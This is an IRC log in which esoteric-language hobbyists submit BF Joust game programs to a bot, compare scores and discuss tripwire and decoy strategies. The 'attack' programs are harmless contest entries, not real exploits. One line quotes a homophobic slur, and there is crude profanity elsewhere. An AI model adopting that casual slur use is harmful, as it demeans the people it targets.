23:45:12 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[(+)*5[(+)*6[-].[.+]]]])*21
23:45:17 <ais523> !bfjoust defend1 [>+[]<(.)*258(+)*127]
23:45:17 <quintopia> elliott: i'll just make this one the obvious stupid short one, even though it's less efficient
23:45:20 <EgoBot> Score for Deewiant_pendolino: 43.1
23:45:34 <EgoBot> Score for ais523_defend1: 1.9
23:45:47 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+++[[(+)*8[-]].[.+]]]])*21
23:45:49 <ais523> it's a really cheesy defence program, it basically reclaims the flag at the exact instant attack1 would drop the flag
23:45:53 <EgoBot> Score for Deewiant_pendolino: 41.1
23:45:53 <ais523> thus causing it to run off the end
23:45:59 <ais523> I don't think it works well against anything else
23:46:14 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[++[+[(+)*8[-].[.+]]]]])*21
23:46:19 <EgoBot> Score for Deewiant_pendolino: 43.7
23:46:53 <Gregor> There have only been 34 programs that have ever been #1.
23:46:58 <elliott> OK, gotta fix this off-by-one.
23:47:06 <elliott> Gregor: really?
23:47:13 <Gregor> If you compress some of those where there's an "improved" version and only show the improved one, you could probably get away with 20 or so.
23:47:14 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+[+[+[(+)*8[-].[.+]]]]]])*21
23:47:18 <EgoBot> Score for Deewiant_pendolino: 46.7
23:47:29 <elliott> If you consider only ones that don't suck, you could make it 15.
23:47:35 <elliott> (The hill was... volatile in the bad old days.)
23:47:41 <Gregor> elliott: True :P
23:47:48 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+[+[+[(+)*7[-].[.+]]]]]])*21
23:47:53 <EgoBot> Score for Deewiant_pendolino: 41.4
23:47:57 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+[+[+[(+)*9[-].[.+]]]]]])*21
23:48:04 <EgoBot> Score for Deewiant_pendolino: 46.3
23:48:09 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-[+[+[+[(+)*8[-].[.+]]]]]])*21
23:48:14 <EgoBot> Score for Deewiant_pendolino: 46.7
23:49:55 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
23:50:02 <EgoBot> Score for Deewiant_pendolino: 46.7
23:50:18 <Gregor> elliott: If you look at only 2010 and later, there have been only 17.
23:50:39 <elliott> Gregor: There were good ones in 2009 :P
23:50:48 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-([+{[(+)*8[-].[.+]]}])%4])*21
23:50:52 <EgoBot> Score for Deewiant_pendolino: 43.0
23:50:54 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-([+{[(+)*8[-].[.+]]}])%2])*21
23:51:01 <EgoBot> Score for Deewiant_pendolino: 39.0
23:51:02 <Gregor> elliott: Yeahyeahyeah :P
23:51:05 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
23:51:10 <EgoBot> Score for Deewiant_pendolino: 46.7
23:51:36 <elliott> Gregor: I wouldn't want to be the one to have to explain space_elevator.
23:51:47 <Gregor> elliott: Hyuk
23:52:16 <quintopia> ais523: defend1 is really clever, but it's surprising that it works at all. wouldn't it get off by a couple of digits every time it got to a new cell?
23:52:33 <ais523> that's what the tripwire's for
23:52:40 <ais523> it's really incredibly situational
23:52:59 <ais523> also, defence detection ruins it
23:53:03 <Gregor> ais523: plz can haz description of tripwires on the wiki from the master?
23:53:51 <quintopia> ais523: also, it looks like it locks itself into an infinite loop on the tripwire :P
23:54:05 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>-)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
23:54:10 <EgoBot> Score for Deewiant_pendolino: 47.1
23:54:22 <ais523> quintopia: isn't that what tripwires are for? or do I misunderstand you?
23:54:28 <ais523> Gregor: not today, maybe tomorrow
23:54:42 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>-)*7(>[-([+{[(+)*8[-].[.+]]}])%3]+)*21
23:54:46 <quintopia> ais523: i mean, it locks itself there once its opponent has already tripped it once
23:54:49 <EgoBot> Score for Deewiant_pendolino: 44.6
23:54:54 <Deewiant> !bfjoust pendolino -(>)*4(+)*10<(-)*10<(-)*30<(+)*30(>-)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
23:54:57 <ais523> quintopia: yep, I'm not sure why it does that
23:55:00 <EgoBot> Score for Deewiant_pendolino: 47.1
23:55:11 <quintopia> ais523: because you were stupid when you wrote it :P
23:55:15 <quintopia> Gregor: i was just getting to that
23:59:31 -!- cheater00 has joined.
2011-02-14
00:01:24 -!- pikhq has quit (Ping timeout: 240 seconds).
00:01:33 -!- pikhq has joined.
00:02:32 -!- cheater- has quit (Ping timeout: 240 seconds).
00:09:56 <Sgeo> Lubuntu is uncharacteristically slow in VirtualBox
00:10:22 <quintopia> stupid fire alarm
00:10:29 * Sgeo burns quintopia
00:10:33 <quintopia> someone set their apt on fire
00:10:39 <quintopia> on my floor
00:10:51 <Sgeo> o.O
00:10:58 <quintopia> and i have to peeeeee
00:11:07 <quintopia> and i caaaaaaaaaaan't
00:14:10 <cheater00> hello
00:14:50 <cheater00> can a search or sort algorithm alone together with the actions of reading and printing/writing be used to build a turing machine?
00:15:21 <quintopia> there is a bubblesort based language...
00:15:27 <quintopia> don't know what you mean
00:16:57 -!- Mathnerd314 has joined.
00:17:18 <Sgeo> Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io
00:17:28 <ais523> cheater00: I don't see how you can make an infinite loop in it
00:17:35 <ais523> unless I'm missing something obvious
00:17:43 -!- ais523 has quit (Remote host closed the connection).
00:18:05 <cheater00> hmm
00:20:39 <elliott> Gregor: quintopia: OK, lance will be done /tomorrow/ :P
00:20:51 <Gregor> Sure it will.
00:20:54 <elliott> Once I figure out this stupid bug.
00:21:40 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
00:21:46 <quintopia> Gregor: i managed to submit tripwires before thd alarm went off
00:21:50 <elliott> 00:40:52 <Sgeo> Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io
00:21:51 <elliott> >what
00:22:05 <elliott> sgeo reaches new heights of incoherence
00:22:16 <elliott> also, lol@lxde sucks
00:22:17 <Sgeo> elliott, I don't feel like fighting to get Io to work in Windows
00:22:31 <Gregor> quintopia: Uhhh, what does that mean :P
00:22:38 <Gregor> Oh
00:22:40 <Gregor> The fire alarm.
00:22:43 <Gregor> quintopia: Yeah, I saw.
00:33:18 <elliott> Gregor: You know what would be hilarious? Using a browser automation framework to use egojsout as egojoust 2.
00:33:22 <elliott> s/hilarious/horrible/
00:33:50 <Gregor> s/horrible/abominatacular/
00:36:37 <elliott> Gregor: Abominatacular... is good!
00:37:06 <Sgeo> What current programs would break and die with flag=127?
00:37:30 <Sgeo> I'm obsessed with this. Twice the polarities, twice the fun
00:40:26 <Gregor> Sgeo: I have no idea.
00:40:44 <Gregor> If you're considering it, you may as well go with 64 though.
00:41:01 <Gregor> More egg stream.
00:41:20 <Sgeo> egg stream?
00:41:27 <Gregor> EGG STREAM
00:41:43 <Sgeo> Oh, durgh
00:43:28 <Gregor> !bfjoust return_of_ehird_defend8mwahahaha http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/raw-file/45e854b7a63c/ehird_defend8mwahahaha.bfjoust
00:43:42 <elliott> Gregor: what
00:43:51 <EgoBot> Score for Gregor_return_of_ehird_defend8mwahahaha: 24.7
00:44:00 <elliott> Gregor: I think that thing is ais523's defend8 reversed polarity :P
00:44:02 <elliott> Or something
00:44:03 <Gregor> Not bad :P
00:44:07 <Gregor> Oh
00:44:13 <Gregor> Then why did you win so much while defend8 wasn't?
00:44:20 <elliott> Gregor: I think that was before polarity X-D
00:44:24 <Gregor> No way
00:44:27 <elliott> Gregor: Set up one of those hg repository viewers on the raw repo plz
00:44:31 <Gregor> egojoust is entirely after reversing I think.
00:44:34 <elliott> Dunno then, re: no way
00:44:39 <elliott> And yeah it is.
00:44:41 <elliott> But not EgoBot.
00:44:42 <Gregor> elliott: Figure out the URL I just did geniuslol :P
00:44:54 <Gregor> Ohhhhhhhhhhhhhh, I thought egojoust was the first interp in EgoBot :P
00:44:58 <elliott> <Gregor> Fag fag fag fagging up the channel
00:45:01 <elliott> Gregor: How can you forget X-D
00:45:07 <Gregor> Then why did defend8 NEVER WIN X-P
00:45:20 <elliott> Holy shit there have been a lot of revisions.
00:45:25 <Gregor> Whereas defend8mwahahaha won a lot
00:45:37 <elliott> !bfjoust RETURN_OF_I_KEELST_THOU (>)*9((-)*128[-]>)*21
00:45:39 <elliott> Worst warrior ever
00:45:56 <EgoBot> Score for elliott_RETURN_OF_I_KEELST_THOU: 2.5
00:45:58 <Deewiant> What are these, old winners?
00:46:05 <elliott> Olds, not old winners/losers :P
00:46:18 <Gregor> Mine was an old winner.
00:46:21 <Gregor> It was a frequent winner in '09
00:46:22 <elliott> !bfjoust return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition >>>++++<----<++++<(-)*127(-+)*5000[[[>[(-)*43]+]+]+]
00:46:25 <elliott> Yes, I actually called it that.
00:46:27 <elliott> I have no idea why.
00:46:28 <EgoBot> Score for elliott_return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 24.9
00:46:32 <elliott> Wow X-D
00:46:51 <elliott> How does that even work *looks*
00:47:06 <elliott> OK, sets up decoys, vibrates, and then goes and... does something insane.
00:47:16 <Deewiant> elliott: It beats space_elevator and wireless
00:47:19 <elliott> X-D
00:47:25 <Gregor> !bfjoust return_of_Patashu_2_3weave (>(+)*23>(-)*23)*1>+>->->+>+>-(>[(-)*20[+]]->[(+)*21[-]]+>+)*10
00:47:28 <elliott> That's probably where it gets all its points :P
00:47:37 <elliott> Gregor: You realise we're going to remove all the good programs from the hill like this.
00:47:44 <elliott> Since they'll get points from each other.
00:47:44 <EgoBot> Score for Gregor_return_of_Patashu_2_3weave: 11.2
00:47:52 <elliott> !bfjoust return_of_pikhq_do_nothing >
00:47:55 <Gregor> elliott: Not with Patashu_2_3weave it seems :P
00:48:04 <EgoBot> Score for elliott_return_of_pikhq_do_nothing: 5.0
00:48:17 <elliott> Ah, ais' vibration_fool_faster was "+>>>++++<----<++++<(-)*127(-+)*5000[[[>[---]+]+]+]"
00:48:21 <elliott> So mine was just a trivial variation :P
00:48:29 <Gregor> Besides, there's nothin' wrong with a FEW return_ofs.
00:48:31 <Gregor> They shake up the hill.
00:48:43 <elliott> !bfjoust return_of_MixardX_mzx_fool >-[>-]
00:48:45 <elliott> *MizardX
00:48:50 <EgoBot> Score for elliott_return_of_MixardX_mzx_fool: 0.0
00:48:53 <elliott> !bfjoust return_of_lament_what (-)*128
00:48:55 <Gregor> OK, but return_of_something_retarded is bad :P
00:48:58 <EgoBot> Score for elliott_return_of_lament_what: 8.4
00:49:00 <elliott> X-D
00:49:02 <elliott> 8.4
00:49:15 <elliott> !bfjoust return_of_ehird_primewire >+[]<[.-]
00:49:33 <EgoBot> Score for elliott_return_of_ehird_primewire: 10.8
00:49:35 <Gregor> !bfjoust return_of_leonid__ugh ((>(+)*97>(-)*97)*2(>[-[+]])*4(<)*7)*59
00:49:37 <elliott> Trivial variation on ais523_tripwire >+[]<[--] :P
00:49:46 <elliott> Gregor: leonid's programs were just random crap, btw :P
00:49:48 <EgoBot> Score for Gregor_return_of_leonid__ugh: 10.9
00:49:56 <Gregor> elliott: That one was #1 once :P
00:50:00 <Gregor> Actually thrice
00:50:07 <elliott> !bfjoust return_of_Deewiant_train (>-)*8>>+[[-][-]>+]
00:50:13 <elliott> Gregor: http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/shortlog/1dc46c4c5624 hurf durf shitty commit messages
00:50:14 <EgoBot> Score for elliott_return_of_Deewiant_train: 4.4
00:50:23 <Gregor> elliott: Yeah, I only improved them later.
00:50:31 <Deewiant> Dude, I submitted a lateish version of train when the hill size was expanded
00:50:38 <elliott> Haha, really?
00:50:45 <Sgeo> In Git, you could fix those commit messages!
00:50:53 <Sgeo> </actually-a-criticisim-of-git>
00:50:54 <elliott> !bfjoust return_of_fool1 [>[-(.)*64]-]
00:50:57 <elliott> One of the initial programs :P
00:50:59 <Deewiant> Yes, I found all my old stuff from my IRC logs
00:51:15 <Gregor> Deewiant: Everything that's ever been submitted is also in a public hg.
00:51:18 <elliott> http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/rev/d172832d3ed5 defend1!
00:51:18 <EgoBot> Score for elliott_return_of_fool1: 1.8
00:51:24 <Gregor> (Which I did not just make public now, I just added a web UI now)
00:51:31 <elliott> !bfjoust return_of_ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000
00:51:37 <elliott> (early version thereof)
00:51:42 <EgoBot> Score for elliott_return_of_ais523_defend5: 9.2
00:52:04 <elliott> !bfjoust return_of_ehirdiphone_lunge (>)*15(>(-)*128[+--+-])*30
00:52:08 <elliott> Writing BF Joust programs on an iPhone.
00:52:10 <elliott> I was one hardcore motherfucker.
00:52:10 <EgoBot> Score for elliott_return_of_ehirdiphone_lunge: 2.0
00:52:10 <Deewiant> Gregor: I know, but it's easier for me to type "grep 'Deewiant.*bfjoust' \#esoteric*' :-P
00:52:28 <elliott> http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/log?rev=ehird <-- these results are... lacking
00:53:52 <Gregor> elliott: See "more" button
00:54:00 <elliott> Gregor: Nice number of results per page :P
00:54:19 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:54:21 <Gregor> elliott: Yes, because I totally wrote the hg web viewer
00:54:25 <elliott> Yes you did.
00:54:43 <elliott> !bfjoust RETURN_OF_ehird_discourse ((+)*127(-)*127))*394
00:54:46 <elliott> Gotta love that invalid syntax.
00:54:46 <EgoBot> Score for elliott_RETURN_OF_ehird_discourse: 0.0
00:54:55 -!- comex has quit (Ping timeout: 240 seconds).
00:55:03 <elliott> !bfjoust RETURN_OF_ehird_isthisthingon >((+)*127>(-)*127)*8>((-)*128[-.]>(+)*128[+.])*21
00:55:12 <EgoBot> Score for elliott_RETURN_OF_ehird_isthisthingon: 18.3
00:55:16 <elliott> !bfjoust RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon >(+)*127<+>>(-)*126<<->>>(+)*125<<<+>>>>>>>>>>[[-]>+]
00:55:25 <elliott> Gregor: SUBMIT YOUR OWN PROGRAMS TOO, SUCH FUN
00:55:52 <EgoBot> Score for elliott_RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon: 2.0
00:55:54 <Gregor> Y'know, I HONESTLY wanted to know how that old program would do on the new hill :P
00:56:06 <elliott> Gregor: I'M AS CURIOUS AS YOU ARE.
00:56:20 <elliott> !bfjoust return_of_ehird_i_keelst_thou_allornothing (>)*16((-)*128.->(+)*128.+>)*11
00:56:23 <EgoBot> Score for elliott_return_of_ehird_i_keelst_thou_allornothing: 5.5
00:57:04 <elliott> !bfjoust return_of_ehird_telepath_homicider +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+++++.<--.>>++++++++++++++
00:57:04 <elliott> .-----------------------
00:57:06 <elliott> ...
00:57:11 <EgoBot> Score for elliott_return_of_ehird_telepath_homicider: 7.5
00:57:17 <Gregor> Well done
00:57:19 <quintopia> !bfjoust space_elevator http://sprunge.us/fFAN
00:57:24 <Gregor> Uh oh
00:57:29 <quintopia> i made the initial decoy smaller
00:57:34 <elliott> !bfjoust return_of_ehird_telepath_homicider http://sprunge.us/hWDT
00:57:34 <quintopia> lessee what happens
00:57:48 <EgoBot> Score for quintopia_space_elevator: 59.3
00:57:56 <quintopia> that's an improve
00:58:00 <EgoBot> Score for elliott_return_of_ehird_telepath_homicider: 7.5
00:58:21 <quintopia> because it beats anti_space_elevator
00:58:25 <quintopia> \o/
00:58:25 <myndzi> |
00:58:26 <myndzi> >\
00:58:29 <Gregor> Wow, first time I've actually looked at space_elevator.
00:58:37 <Gregor> It's ... magic.
00:58:52 <myndzi> ha, did you have report logs after all gregor?
00:59:06 <myndzi> i see he implemented my 'trip the tripwire' idea ;)
00:59:12 <Gregor> myndzi: There have always been report logs, and they are publicly available (and always have been)
00:59:17 <myndzi> o rly
00:59:23 <myndzi> i couldn't find them in hg
00:59:27 <myndzi> o well, no matter
00:59:33 <Gregor> mycroftiv: http://codu.org/eso/bfjoust/in_egobot/reports/
00:59:38 <myndzi> haha
00:59:40 <Gregor> They're not in hg
00:59:40 <myndzi> of course
00:59:42 <myndzi> i knew that
00:59:44 <myndzi> D:
01:00:20 <myndzi> damn, this was in 2009? lol
01:01:10 <elliott> http://codu.org/eso/bfjoust/in_egobot/reports/report-2009-05-27-23-43.txt lol
01:01:15 <elliott> 436.001ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust
01:01:27 <quintopia> amazing how quickly anti_space_elevator dropped to the bottom of the scoreboard once i beat it >_>
01:01:58 <elliott> quintopia: :D
01:01:59 <elliott> 18 90.03 15 myndzi_slowrush.bfjoust
01:01:59 <elliott> 12 72.02 9 ehird_the_unknowable_reversi_of_slowrush.bfjoust
01:01:59 <elliott> 19 60.39 3 nescience_shade.bfjoust
01:01:59 <elliott> 11 54.99 1 ehird_shade_needs_to_get_laid.bfjoust
01:02:02 <elliott> my ripoff names were awesome
01:02:04 <elliott> 10 51.52 -1 ehird_fucking_termoil_wants_me_to_term_oil.bfjoust
01:02:10 <Gregor> Wow, space_elevator is ... not all that complicated, actually.
01:02:13 <elliott> 4 36.84 -4 GregorR-L_pooper_scooper.bfjoust
01:02:15 <elliott> Gregor: SUBMIT IT
01:02:18 <quintopia> Gregor: i said as much earlier
01:02:27 <elliott> Yeah, defend13 is still more complex.
01:02:31 <Gregor> quintopia: I didn't believe you :P
01:02:32 <elliott> But space_elevator is frickin' huge :P
01:03:17 <quintopia> Gregor: how does one find particular programs using the web interfrox?
01:03:28 <quintopia> i am no good at mercurial
01:03:35 <Gregor> quintopia: Poorly :P
01:03:47 <quintopia> WELL DAMN
01:03:54 <Gregor> quintopia: I did it be checking it out and using the log, I only put up the web interface so I could make direct links to old programs.
01:04:04 <Gregor> *by checking
01:04:20 <quintopia> Gregor: link me to nescience_creep?
01:04:27 <myndzi> ah, i missed what you were actually doing at first
01:04:32 <elliott> Gregor: ([-[+{[-]}]])%n
01:04:37 <myndzi> i didn't remember creep made it to #1
01:04:42 <elliott> Gregor: This expands to [-[+[-[+[-[+[...[-]]]]]]]]]]]]]]] right?
01:05:03 <myndzi> slowrush beat everything on the hill at one point
01:05:07 <myndzi> until the optimization war with wiggle
01:05:10 <Gregor> elliott: Of course.
01:05:11 <elliott> How can one make something expand to:
01:05:15 <myndzi> which i gave in on because i stopped to care ;p
01:05:24 <elliott> [-[-[-[-[-[-[-[-[-(20 of those)[+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]...?
01:05:33 <Gregor> quintopia: >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15
01:05:40 <myndzi> put another one inside {}
01:06:07 <quintopia> huh
01:06:13 <quintopia> it leaves a trail
01:06:15 <elliott> myndzi: eh?
01:06:15 <myndzi> ([-{([+{[-]}])*20}])%20
01:06:18 <Gregor> elliott: That's ... not complicated ... ([-{([+{[-]}])%whatever])%whatever
01:06:23 <elliott> myndzi: that's invalid
01:06:28 <elliott> Gregor: Right, just realised.
01:06:35 <quintopia> !bfjoust return_of_nescience_creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15
01:06:36 <myndzi> i meant %, whatever
01:06:42 <EgoBot> Score for quintopia_return_of_nescience_creep: 9.1
01:06:46 <Gregor> lol
01:06:55 <elliott> Right:
01:06:56 <elliott> Unmatched loop at 36.
01:06:56 <elliott> Unmatched loop at 42.
01:06:56 <elliott> Unmatched loop at 43.
01:06:56 <elliott> Unmatched loop.
01:06:56 <elliott> Unmatched loop.
01:06:57 <myndzi> andhow is mine invalid and his isn't? ;p
01:06:58 <elliott> Unmatched loop.
01:07:00 <elliott> Unmatched brace.
01:07:04 <elliott> GREGOR IS A LIAR :-P
01:07:05 <myndzi> then he's doin it wrong ;)
01:07:10 <myndzi> is this lance's fault
01:07:14 <elliott> no
01:07:15 <elliott> egojsout
01:07:18 <myndzi> aha
01:07:26 <quintopia> Gregor: it beat julius freezer! :P
01:07:27 <elliott> btw egojsout doesn't support ([)*n either
01:07:27 <elliott> so ha
01:07:39 <myndzi> anyway, stuff inside {} shouldn't really cause conflict in any condition afaik
01:07:57 <Gregor> elliott: I know egojsout doesn't support ([)*n ...
01:07:59 <myndzi> so it ought to work even if it doesn't ;)
01:08:03 <elliott> i was telling
01:08:04 <myndzi> also gregor forgot a }
01:08:06 <elliott> ~myndzi~
01:08:22 <Gregor> elliott: Tpyo'd, meant ([-{([+{[-]}])%20}])%20
01:08:23 <myndzi> while i didn't ;) but i accidentally typed * instead of %
01:08:23 <Gregor> Yeah
01:08:24 <myndzi> lol
01:08:42 <quintopia> Gregor: one of these days bf joust is going to be more popular than JESUS. also corewars.
01:09:03 <elliott> Gregor: now how do I make it [-[-[-[-[-[-[-[-[-(20 of those)[(+)*20+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]...
01:09:07 <myndzi> more popular? for a while still... better? not really ;p
01:09:09 <elliott> where each has (X)*20 in the first one
01:09:11 <Gregor> quintopia: The latter would be cool. The former will hopefully be due to a decrease in the popularity of Jesus and not an increase in the popularity in BFJ.
01:09:12 <elliott> where X is the other op
01:09:12 <elliott> >:D
01:09:23 <quintopia> Gregor: exactly
01:09:27 <myndzi> that is easy too elliot
01:09:29 <myndzi> think about it? :P
01:09:33 <elliott> Gregor: Hopefully? That would be AWESOME
01:09:37 <elliott> myndzi: I just want Gregor to do all my work for me
01:09:42 <myndzi> laf
01:09:52 <elliott> quintopia: I don't think bf joust has the same vibe as corewars
01:10:01 <elliott> can you imagine a "15-chars max" bf joust hill?
01:10:03 <myndzi> dinnertime, laters
01:10:07 <elliott> like the 4-instruction nano hill corewar has
01:10:09 <Gregor> FYB was designed to have the same vibe as corewars *shrugs*
01:10:14 <elliott> or was it five
01:10:26 <quintopia> Gregor: buy FYB also sucks because it's broken.
01:10:35 <Gregor> quintopia: SO'S UR FACE
01:11:01 <quintopia> elliott: i think it could be more popular because it achieves the same level of strategerie while being a lot easier to pick up and start playing with.
01:11:16 <elliott> *strategery
01:11:38 <Gregor> We could make a beginner's hill, where every program submitted must, at time of submission, get last place on the normal hill :P
01:11:56 <elliott> hey Gregory
01:11:59 <Sgeo> How is it broken? The spec, or just the iimplementation?
01:12:02 <elliott> my program fails to parse but still wins
01:12:04 <elliott> how cool is that
01:12:11 <elliott> !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128
01:12:14 <elliott> !bfjoust
01:12:14 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
01:12:20 <EgoBot> Score for elliott_interior_crocodile_alligator: 31.6
01:12:26 * Gregor is somewhat surprised that his client doesn't highlight "Gregory"
01:12:29 <elliott> elliott_interior_crocodile_alligator.bfjoust vs quintopia_space_elevator.bfjoust:
01:12:29 <elliott> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
01:12:30 <elliott> elliott_interior_crocodile_alligator.bfjoust wins
01:12:31 <elliott> :}
01:13:03 <quintopia> tricksy sir
01:13:03 <elliott> wow
01:13:05 <elliott> beats defend13
01:13:08 <elliott> with a syntax error
01:13:09 <elliott> i'm proud
01:13:25 <elliott> :D
01:13:26 <quintopia> elliott: that's the same way that wireless_frownie beat it
01:13:32 <elliott> what, with a syntax error?
01:13:37 <quintopia> yes
01:13:42 <elliott> :D
01:13:55 <elliott> i beat speedy2 as well
01:13:58 <elliott> how do i do it!!
01:14:11 <quintopia> you are becoming a competitor!
01:14:17 <Gregor> elliott: With what, lance?
01:14:27 <elliott> Gregor: ?
01:14:34 <elliott> quintopia: wow, it turns out it's an... oscillator
01:14:39 <elliott> look at it in egojsout vs. defend13
01:14:41 <Gregor> Oh, n/m X-P
01:14:48 <elliott> lmao
01:14:52 <elliott> look at it when it gets that cell to 0
01:14:55 <elliott> it sits around for like
01:14:58 * quintopia looks
01:15:00 <elliott> infinite turns wait
01:15:02 <elliott> wait Gregor
01:15:05 <elliott> defend13 is broken or something
01:15:05 <elliott> OR
01:15:07 <elliott> nopping for five years
01:15:09 <elliott> in that trace
01:15:23 <Gregor> defend13 has a tripwire, it frequently nops for friggin' ever.
01:15:31 <elliott> wait no
01:15:32 <elliott> it moved
01:15:33 <elliott> right
01:15:42 <elliott> Gregor: lol but do that trace anyway
01:15:49 <elliott> it's hilarious seeing interior_crocodile_alligator get to zero
01:15:52 <elliott> and just chill for a while
01:16:19 <Sgeo> Some ad account for some crappy virtual world decided I was worth following
01:16:39 <Sgeo> My only relation to this virtual world is that I've visited it once or twice, and follow the twitter account
01:16:50 <Sgeo> I am really not worth following
01:17:02 <elliott> quintopia: Wow, look at where it loses with reversed polarity too
01:17:04 <elliott> It's so tedious :P
01:17:14 <quintopia> elliott: it's the (-)*128 thing that lets you beat defenders. makes you unpredictable.
01:17:21 <elliott> defend13's just like "haha nope, take this" and then goes back to clearing the cells tediously
01:18:32 <elliott> impressively though i beat definder2 on all occasions
01:19:01 <elliott> quintopia: it's sort of like a vibration
01:19:02 <elliott> except
01:19:04 <elliott> a really slow vibration
01:19:09 <elliott> a... shake
01:19:23 <elliott> and then a "reverse offset clear" :P
01:19:24 -!- Mathnerd314 has joined.
01:19:34 <elliott> so basically any prediction of its speed is going to be wrong
01:19:49 <quintopia> elliott: the giant offset clear is what allows defend13 to get your number on that one polarity. it has a special case for that.
01:19:55 <elliott> haha
01:20:02 <elliott> quintopia: it's not an offset clear, it's the same operation inside the loop
01:20:11 <elliott> well, kinda
01:20:15 <elliott> it's not even an offset clear
01:20:18 <quintopia> sorry
01:20:20 <quintopia> the giant offset
01:20:20 <elliott> because it switches from [- to [+ in the loop
01:20:22 <elliott> and then to [-]
01:20:25 <elliott> it's just... crazy
01:20:28 <quintopia> followed by whatever that otehr thing it
01:20:29 <quintopia> is
01:20:34 <elliott> yeah
01:20:36 <elliott> "insanity"
01:20:52 <quintopia> the giant offset is what lets defend13 figure out what polarity you're in
01:20:56 <quintopia> and freeze you
01:21:17 <elliott> quintopia: loool, do definder2 vs mine
01:21:24 <elliott> after it clears the cell just before definder2's flag
01:21:29 <elliott> it sits for an UNHOLY LONG TIME
01:21:36 <elliott> like a hundred cycles
01:21:57 <elliott> lol, then it gets fixed at 80 and just sits there...
01:22:01 <elliott> but then
01:22:03 <elliott> since my ]s take so long
01:22:10 <elliott> before i can nop forever
01:22:13 <elliott> definder2 comes back
01:22:19 <elliott> or something
01:22:20 <elliott> i have no idea
01:22:22 <elliott> this shit is insane
01:22:45 <quintopia> INSANITY
01:22:58 <quintopia> i think the rule of the game is to be as unpredictable as possible
01:23:11 <quintopia> it's how wiggle3 managed to stay up there on the scoreboard so long
01:23:19 <elliott> is it gone?
01:23:28 <quintopia> not that i know of
01:23:36 <Sgeo> It couldn't make it, because you murdered it.
01:23:43 <elliott> Gregor: 00:59:55 <oerjan> GregorR-L: btw i was thinking you could do ()* and ({})* without expansion by keeping a counter for each () pair (which may be allocated globally or in a stack manner)
01:23:45 <elliott> Gregor: Circa 2009 :P
01:24:25 <elliott> 01:13:29 <Patashu> defend6 and defend6aparody even get exactly the same matchups
01:24:25 <elliott> 01:15:59 <oerjan> Patashu: well ais523 claims it's paper/rock/scissors so someone should add some of whatever is the third type
01:24:25 <elliott> 01:16:46 <GregorR-L> "fool"
01:24:32 <elliott> quintopia: Gregor: BF Joust is rock/paper/scissors right?
01:24:40 <elliott> Three strategies such that every strategy has a weakness.
01:24:43 <elliott> TOTES
01:24:50 <quintopia> elliott: it's at least rock/paper/scissors/lizard/spock :P
01:24:51 <elliott> 01:16:50 <oerjan> unless this has happened because someone found something to break the p/r/s balance
01:24:51 <elliott> :D
01:25:12 <Gregor> elliott: I think I went with expansion not because I thought there was no alternative, but because I thought at the time that it wasn't important.
01:25:24 <elliott> Gregor: Yes. Indeed. You have no foresight!
01:25:25 <elliott> </troll>
01:25:34 <Sgeo> So just expanding them is a bad idea?
01:25:50 <Sgeo> What happened to those evolved BF Joust programs?
01:27:09 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64[(+)*65{[-]}]])%5>)*20(-)*128
